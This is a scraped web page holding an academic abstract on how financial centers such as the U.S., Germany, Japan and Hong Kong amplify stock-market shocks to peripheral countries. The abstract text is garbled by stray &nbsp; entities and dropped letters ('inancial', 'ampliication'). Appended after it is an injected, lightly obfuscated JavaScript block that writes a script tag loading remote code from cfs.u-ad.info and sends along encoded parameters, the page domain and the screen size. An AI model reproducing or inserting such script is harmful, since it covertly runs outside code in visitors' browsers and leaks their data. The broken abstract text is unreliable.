Financial Transmission Mechanism between Financial Centers and Peripheries

The &nbsp;causes &nbsp;of &nbsp;contagion &nbsp;effects &nbsp;during &nbsp;periods &nbsp;of &nbsp;crisis &nbsp;are &nbsp;still &nbsp;unable &nbsp;to &nbsp;be &nbsp;fully&nbsp;explained &nbsp;by &nbsp;fundamental &nbsp;factors. &nbsp;This &nbsp;paper &nbsp;focuses &nbsp;on &nbsp;non-fundamental &nbsp;explanatory&nbsp;factors &nbsp;such &nbsp;as &nbsp;inancial &nbsp;centers' &nbsp;shock &nbsp;ampliication &nbsp;effects &nbsp;induced &nbsp;by &nbsp;global &nbsp;portfolio&nbsp;investors &nbsp;and &nbsp;extends &nbsp;Kaminsky &nbsp;and &nbsp;Reinhart &nbsp;(2003)'s &nbsp;center-periphery &nbsp;framework &nbsp;by&nbsp;introducing three time zones for the analysis of conditional distribution of 37 countries' daily&nbsp;stock returns from 1994 to 2003, and accessibility of stock markets to investigate if inancial&nbsp;centers stabilize or amplify shocks. Centers such as U.S. and Germany played a vital role&nbsp;in propagating turmoil in G7 countries and spreading shocks to countries in other regions&nbsp;during periods of crisis, whereas Japan ampliied turmoil in Asian peripheries only within&nbsp;the same region. In contrast, an emerging center, Hong Kong, appears to have much stronger&nbsp;shock-ampliication effects on developing countries than the three centers.&nbsp; <script type="text/javascript"><!-- if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://": "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&amp;enc=telkom2");document.write("&amp;params=" + "4TtHaUQnUEiP6K%2fc5C582PlvV7TskJKD5ZPUFJSHXkfO2oDKMAQuzOojP%2fmDucJguojRzdY0PZjnsrjI4qdTOeHAtQwjiZtLYQj7tFNHtzZGU%2bH%2fFkypnL2i18%2fZ3389siCfg0LBeacXMdHl8%2fDn9WIn5pYaabIuGr473BoJgrO8F2Zs2clSiZgUibRbl4%2f%2bh84fwwA2SDukkbmN1FqQnbI83nJCjqTEDixH%2f7nUAnBe5p9ZJohSJu6YByurEYShLXnNu%2bh8Cyu1QXCq%2fynX7345depVuEGJNRqyFubxWjGVF349Fz3aNWNscGxEFyTkbCOD92cO0QIC5%2blBR2sEKNbYC%2fs%2b4A8n2cwai0HrrhGc%2bZ%2fZ4Dp3dHOocL1xWNo1wSYrFrQdCHF06QlRFOSqKHYjPocH59idxI%2foYjU4%2f8sA3RbRv29IhNeBiP%2fJ9pw3AhutTDIxLoaO%2fidclptGFnQfghUrR%2f9Awee9%2bdxnjjk%3d");document.write("&amp;idc_r="+idc_glo_r);document.write("&amp;domain="+document.domain);document.write("&amp;sw="+screen.width+"&amp;sh="+screen.height);document.write("></scr"+"ipt>");} // --></script><noscript>activate javascript</noscript>

Abstract licence: CC BY-SA

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